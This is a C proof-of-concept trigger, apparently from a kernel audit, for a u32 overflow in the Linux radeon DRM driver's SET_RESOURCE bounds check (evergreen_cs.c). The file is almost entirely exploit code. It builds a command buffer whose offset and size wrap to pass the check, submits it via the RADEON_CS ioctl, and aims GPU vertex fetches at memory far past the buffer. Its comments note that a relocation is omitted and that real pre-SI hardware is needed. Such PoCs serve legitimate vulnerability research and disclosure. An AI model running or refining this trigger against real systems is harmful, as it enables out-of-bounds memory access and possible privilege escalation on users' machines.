DF-3839 / trigger.c
/* * DF-3839 PoC trigger โ SET_RESOURCE SQ_TEX_VTX_VALID_BUFFER bound check * bypass: `(size + offset)` added in u32 at evergreen_cs.c:2416. * * offset = radeon_get_ib_value(p, idx+1+(i*8)+0); (u32) * size = radeon_get_ib_value(p, idx+1+(i*8)+1); (u32) * if (p->rdev && (size + offset) > radeon_bo_size(reloc->robj)) // u32 add! * ib[...+1] = radeon_bo_size(reloc->robj) - offset; // underflow * offset64 = reloc->gpu_offset + offset; // u64 โ * // GPU buffer sits ~4GB past BO * * With offset = 0xfffffff0 and size = 0x20 the wrapped sum is 0x10, the * check passes, and the GPU vertex fetch reads from bo_base+0xfffffff0. * If the (wrapped) check *does* fire while offset > bo_size, the "forced" * size at :2419 underflows to a huge value instead. * * Requires: real pre-SI radeon GPU + authenticated DRI fd; relocation for * the resource dword 0 omitted (needs libdrm/GEM bo). On the audit QEMU * guest open() fails with ENOENT โ expected. */ #include <sys/ioctl.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> struct drm_radeon_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; }; struct drm_radeon_cs { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; }; #define RADEON_CHUNK_ID_IB 0x02 #define DRM_IOCTL_RADEON_CS _IOWR('d', 0x66, struct drm_radeon_cs) #define PKT3(op, cnt) ((3u<<30)|(((cnt)&0x3fff)<<16)|(((op)&0xff)<<8)) #define PACKET3_SET_RESOURCE 0x20 int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0"; int fd, r, n = 0; uint32_t ib[16]; /* one 8-dword resource, type=SQ_TEX_VTX_VALID_BUFFER (0x8 << 30) */ ib[n++] = PKT3(PACKET3_SET_RESOURCE, 8); ib[n++] = 0; /* resource 0 offset base-index */ ib[n + 0] = 0xfffffff0; /* word0: offset (would get reloc added) */ ib[n + 1] = 0x20; /* word1: size โ size+offset wraps u32 */ ib[n + 2] = 0; /* word2: hi addr bits */ ib[n + 3] = 0; /* word3: (mip base) */ ib[n + 4] = 0; ib[n + 5] = 0; ib[n + 6] = 0; ib[n + 7] = 8u << 30; /* word7: SQ_TEX_VTX_VALID_BUFFER */ n += 8; uint32_t flags_chunk[1] = { 0 }; struct drm_radeon_cs_chunk chunks[2] = { { RADEON_CHUNK_ID_IB, (uint32_t)n, (uint64_t)(uintptr_t)ib }, { 0x03 /*FLAGS*/, 1, (uint64_t)(uintptr_t)flags_chunk }, }; uint64_t chunk_ptrs[2] = { (uint64_t)(uintptr_t)&chunks[0], (uint64_t)(uintptr_t)&chunks[1] }; struct drm_radeon_cs cs; memset(&cs, 0, sizeof(cs)); cs.num_chunks = 2; cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs; fd = open(dev, O_RDWR); if (fd < 0) { printf("open(%s): %s (device absent on this guest)\n", dev, strerror(errno)); return 2; } r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs); printf("RADEON_CS: %s (0xfffffff0 + 0x20 wraps to 0x10 -> bound check" " bypassed on vulnerable kernels)\n", r ? strerror(errno) : "accepted"); close(fd); return 0; } |